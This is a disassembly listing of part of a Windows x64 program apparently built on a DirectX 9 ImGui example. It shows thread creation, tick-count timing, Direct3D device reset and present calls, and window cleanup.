movaps xmm0, xmmword [rsp + 0x3e0]
movdqa xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140079b42
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x3e0], xmm0
lea ecx, [rax + 8]
call fcn.1400e54ac
test rax, rax
je 0x140079248
lea rcx, [0x1400637d0]
mov qword [rax], rcx
jmp 0x14007924b
mov rax, rsi
mov qword [rsp + 0x160], rax
bts ebx, 9
lea rcx, [rsp + 0x3d8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400408c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x3d0], rax
test rax, rax
je 0x140079b30
cmp dword [rsp + 0x3d8], 0
je 0x140079b27
movaps xmm0, xmmword [rsp + 0x3d0]
movdqa xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140079b27
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x3d0], xmm0
lea ecx, [rax + 8]
call fcn.1400e54ac
test rax, rax
je 0x1400792e6
lea rcx, [0x140064b60]
mov qword [rax], rcx
jmp 0x1400792e9
mov rax, rsi
mov qword [rsp + 0x160], rax
bts ebx, 0xa
mov dword [rsp + 0x88], ebx
lea rcx, [rsp + 0x3c8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400408c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x3c0], rax
test rax, rax
je 0x140079b15
cmp dword [rsp + 0x3c8], 0
je 0x140079b0c
movaps xmm0, xmmword [rsp + 0x3c0]
movdqa xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140079b0c
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x3c0], xmm0
mov byte [0x14043a244], 1
cmp byte [0x14043a245], 0
je 0x1400793d5
call fcn.140058720
cmp byte [0x1404397c6], 0
jne 0x1400793a7
cmp byte [0x1404397c7], 0
jne 0x1400793a7
cmp byte [0x1404397dc], 0
mov ecx, 0x1f4
je 0x1400793ac
mov ecx, 0x159
mov eax, dword [0x140438268]
sub ecx, eax
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm11
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x140438268], eax
movss xmm6, dword [0x1400f026c]
movss xmm7, dword [0x1400f0444]
movss xmm8, dword [0x1400f5d8c]
cmp byte [0x14043a244], 0
je 0x1400796bc
mov dword [rsp + 0xe0], 2
jmp 0x1400796bc
movzx eax, byte [reloc.WS2_32.dll_accept]
neg al
sbb ecx, ecx
movzx ecx, cl
mov eax, dword [0x140439800]
sub ecx, eax
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si ecx, xmm1
call fcn.140059c50
mov rdx, qword [0x140439810]
mov rcx, rbx
call fcn.14003e460
call fcn.14000d0f0
mov rbx, rax
movaps xmm0, xmmword [0x1400faf10]
movups xmmword [rsp + 0x2a0], xmm0
lea rcx, [rsp + 0x2a0]
call fcn.140008d20
movaps xmm1, xmm10
addss xmm1, xmm8
movaps xmm0, xmm9
addss xmm0, xmm7
movss dword [rsp + 0x418], xmm0
movss dword [rsp + 0x41c], xmm1
addss xmm10, xmm13
addss xmm9, xmm13
movss dword [rsp + 0x2f0], xmm9
movss dword [rsp + 0x2f4], xmm10
mov dword [rsp + 0x28], 0xf0
movss xmm0, dword [0x1400f02d8]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rsp + 0x418]
lea rdx, [rsp + 0x2f0]
mov rcx, rbx
call fcn.1400219d0
mov dword [rsp + 0x2f8], 0x438a8000
mov dword [rsp + 0x2fc], 0x43160000
lea rcx, [rsp + 0x2f8]
call fcn.140018750
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
mov dword [rsp + 0x510], 0x3f800000
mov dword [rsp + 0x514], 0x3f800000
mov dword [rsp + 0x518], 0x3f800000
movd xmm0, dword [0x140439800]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm12
movups xmm1, xmmword [rsp + 0x510]
shufps xmm1, xmm1, 0x93
movss xmm1, xmm0
shufps xmm1, xmm1, 0x39
movups xmmword [rsp + 0x510], xmm1
movups xmmword [rsp + 0x2c0], xmm1
mov dword [rsp + 0x300], 0x3f800000
mov dword [rsp + 0x304], 0x3f800000
mov qword [rsp + 0x308], 0
mov dword [rsp + 0x170], 0x42c00000
mov dword [rsp + 0x174], 0x42c00000
lea rax, [rsp + 0x120]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x300]
lea r8, [rsp + 0x308]
lea rdx, [rsp + 0x170]
mov rcx, qword [0x140439768]
call fcn.140039f20
movzx eax, byte [reloc.WS2_32.dll_accept]
neg al
sbb ecx, ecx
movzx ecx, cl
mov eax, dword [0x140439800]
sub ecx, eax
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x140439800], eax
cmp byte [0x14043a233], 0
je 0x140079622
call fcn.140057fb0
cmp byte [0x14043a231], 0
je 0x140079667
cmp byte [0x1404397c4], 0
je 0x140079659
cmp byte [0x1404397c5], 0
je 0x140079652
call fcn.140056390
cmp byte [0x14043a232], 0
je 0x140079667
call fcn.140056a70
jmp 0x140079667
call fcn.140056390
jmp 0x140079667
cmp byte [0x1404397c5], 0
je 0x140079667
call fcn.140057150
cmp byte [0x14043a230], 0
je 0x1400796bc
mov byte [reloc.WS2_32.dll_accept], 0
mov eax, dword [rdi + r14]
cmp dword [0x14043a240], eax
jg 0x140079a72
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14043a23c]
cmp eax, 0x514
jbe 0x1400796bc
cmp byte [0x1404397c5], 0
jne 0x1400796bc
mov edi, dword [rsp + 0xe0]
cmp byte [0x1404397c4], 0
cmove edi, r13d
mov dword [rsp + 0xe0], edi
call fcn.140009d90
mov ecx, r13d
call fcn.140014410
mov ecx, 2
call fcn.1400144e0
call fcn.14000a6b0
mov rcx, qword [0x140439810]
mov rax, qword [rcx]
xor r8d, r8d
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x140439810]
mov rax, qword [rcx]
xor r8d, r8d
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x140439810]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, 0xae
call qword [rax + 0x1c8]
mov rcx, qword [0x140439810]
mov rax, qword [rcx]
mov dword [rsp + 0x30], esi
movss xmm0, dword [0x1400f02b0]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], 0xff728c99
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x140439810]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140079789
call fcn.140014aa0
call fcn.14000c340
mov rcx, rax
call fcn.14003be50
mov rcx, qword [0x140439810]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x140439810]
mov rax, qword [rcx]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
cmp eax, 0x88760868
mov ebx, dword [rsp + 0x11c]
mov r14d, dword [0x14043a3f0]
mov edi, 4
jne 0x1400754a0
mov rcx, qword [0x140439810]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
mov r14d, dword [0x14043a3f0]
mov edi, 4
jne 0x1400754a0
call fcn.14003bd40
mov rcx, qword [0x140439810]
mov rax, qword [rcx]
lea rdx, [0x140439820]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x140079825
mov r8d, 0x37c
lea rdx, str.F:Premium_ProjectTinder_BackendFinal_Conseptexamplesexample_win32_directx9main.cpp
lea rcx, [0x1400eaa60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.14003ba50
mov ebx, dword [rsp + 0x11c]
jmp 0x14007548e
call fcn.14003c8a0
call fcn.14003cef0
xor ecx, ecx
call fcn.140009d10
call fcn.140050090
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rsp + 0x6d8]
mov rcx, qword [rsp + 0x700]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
lea r11, [rsp + 0x1040]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.140050090
mov rdx, qword [rsp + 0x6d8]
mov rcx, qword [rsp + 0x700]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r13d
jmp 0x140079872
mov dword [rsp + 0x198], esi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea r8, [rsp + 0x5e0]
lea rcx, [0x1400f75a4]
call fcn.140060c60
nop
lea r8, [rsp + 0x5c0]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140060c00
nop
mov rcx, rax
call fcn.140071310
mov qword [rsp + 0x170], rax
lea r8, [rsp + 0x170]
lea rdx, [0x1400fad40]
lea rcx, [rsp + 0xc68]
call fcn.140041570
nop
mov r9, rbx
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0xc30]
call fcn.140042180
lea rdx, [0x14011d918]
lea rcx, [rsp + 0xc30]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
shr rbx, 0x20
lea r8, [rsp + 0x698]
mov edx, ebx
lea rcx, str.create_directory
call fcn.140060c60
nop
lea rcx, [0x14043a238]
call fcn.1400e521c
cmp dword [0x14043a238], 0xffffffff
jne 0x140075770
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x14043a234], eax
lea rcx, [0x14043a238]
call fcn.1400e51b0
nop
jmp 0x140075770
lea rcx, [0x14043a258]
call fcn.1400e521c
cmp dword [0x14043a258], 0xffffffff
jne 0x140075984
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x14043a254], eax
lea rcx, [0x14043a258]
call fcn.1400e51b0
nop
jmp 0x140075984
lea rcx, [0x14043a24c]
call fcn.1400e521c
cmp dword [0x14043a24c], 0xffffffff
jne 0x140076afa
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x14043a248], eax
lea rcx, [0x14043a24c]
call fcn.1400e51b0
nop
jmp 0x140076afa
lea rcx, [0x14043a240]
call fcn.1400e521c
cmp dword [0x14043a240], 0xffffffff
jne 0x140079687
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x14043a23c], eax
lea rcx, [0x14043a240]
call fcn.1400e51b0
nop
jmp 0x140079687
mov dword [rsp + 0x528], esi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rsp + 0x258], esi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, r13d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rsp + 0x3b8], esi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rsp + 0x228], esi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rsp + 0x218], esi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, r13d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rsp + 0x3c8], esi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, r13d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rsp + 0x3d8], esi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, r13d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rsp + 0x3e8], esi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, r13d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rsp + 0x198], esi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3